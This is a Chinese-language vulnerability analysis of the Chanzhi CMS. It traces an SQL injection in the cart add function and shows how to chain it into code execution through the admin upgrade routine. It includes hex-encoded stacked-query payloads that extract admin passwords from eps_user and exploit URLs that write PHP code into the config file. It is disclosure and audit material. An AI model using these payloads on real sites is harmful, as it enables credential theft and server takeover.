禅知在传递参数的时候不是直接全局防护,而是先调用dao类,也就是禅知的数据库连接类,然后再调用其中的quote()进行转义。
```
/**
* 对字段加转义。
* Quote a var.
*
* @param mixed $value
* @access public
* @return mixed
*/
public function quote($value)
{
if($this->magicQuote) $value = stripslashes($value);
return $this->dbh->quote((string)$value);
}
}
```
所以如果进行数据库操作的时候没有调用quote()函数,而且其他操作数据库的函数本身也没有调用quote()的话,如set()就没有调用quote(),那么极有可能存在注入。
\system\module\cart\contral.php 中 add是处理添加购物车的函数
```
28 public function add($product, $count)
{
if($this->app->user->account == 'guest')
{
/* Save info to cookie if user is guest. */
$this->cart->addInCookie($product, $count);
$this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));
}
else
{
38 $result = $this->cart->add($product, $count);
if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));
$this->send(array('result' => 'fail', 'message' => dao::getError()));
}
42 }
```
第38行调用cart模型类的add()函数
\system\module\cart\model.php
```
23 public function add($productID, $count)
{
$hasProduct = $this->dao->select('count(id) as count')->from(TABLE_CART)->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->fetch('count');
if(!$hasProduct)
{
$product = new stdclass();
$product->product = $productID;
$product->account = $this->app->user->account;
$product->count = $count;
$this->dao->insert(TABLE_CART)->data($product)->exec();
}
else
{
37 $this->dao->update(TABLE_CART)->set("count= count + {$count}")->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->exec();
}
return !dao::isError();
41 }
```
在37行调用了dao类,set()函数传入了可控参数,并且没有用quote过滤,存在注入。
验证:


这里存在注入,如果要从eps_user获取数据,需要下划线,但是:
```
if(strpos($uri, '_') !== false) $uri = substr($uri, 0, strpos($uri, '_'));
```
过滤了下划线。幸运的是可以堆叠查询。
所以可以
```
set @a:=0x73656C6563742070617373776F72642066726F6D206570735F75736572206C696D697420313B;prepare s from @a;execute s;
```
注入出后台账号密码后,可以在后台getshell
/system/module/upgrade/ control.php
```
public function processSQL()
{
$this->upgrade->execute($this->post->fromVersion);
```
跟进execute
/system/module/upgrade/model.php
```
public function execute($fromVersion)
{
switch($fromVersion)
{
…
case '5_5':
$this->fixDetectDeviceConfig();
```
继续跟进fixDetectDeviceConfig
/system/module/upgrade/model.php
```
public function fixDetectDeviceConfig()
{
$mobileTemplateConfigList = $this->dao->setAutoLang(false)->select('value, lang')->from(TABLE_CONFIG)
->where('`key`')->eq('mobileTemplate')
->fetchAll();
#var_dump($mobileTemplateConfigList);die();
if(!empty($mobileTemplateConfigList))
{
$myFile = $this->app->getConfigRoot() . 'my.php';
file_put_contents($myFile, "\n", FILE_APPEND);
foreach($mobileTemplateConfigList as $mobileTemplateConfig)
{
2089 $fixedConfig = '$config->framework->detectDevice[' . "'{$mobileTemplateConfig->lang}'] = ";
$fixedConfig .= $mobileTemplateConfig->value == 'open' ? 'true' : 'false';
$fixedConfig .= ";\n";
file_put_contents($myFile, $fixedConfig, FILE_APPEND);
}
}
}
```
其中2089行是从数据库中取出数据,拼接后写入文件,导致getshell
步骤:
写入一句话到数据库
```
http://target/www/index.php/cart-add-1-1;set @a:=0x757064617465206570735f636f6e66696720736574206c616e673d275c275d3d313b706870696e666f28293b232720776865726520606b6579603d276d6f62696c6554656d706c617465273b;prepare s from @a;execute s;#.html
```
从数据库中取出
```
http://target/www/admin.php?m=upgrade&f=processSQL post:fromVersion=5_5
```
暂无评论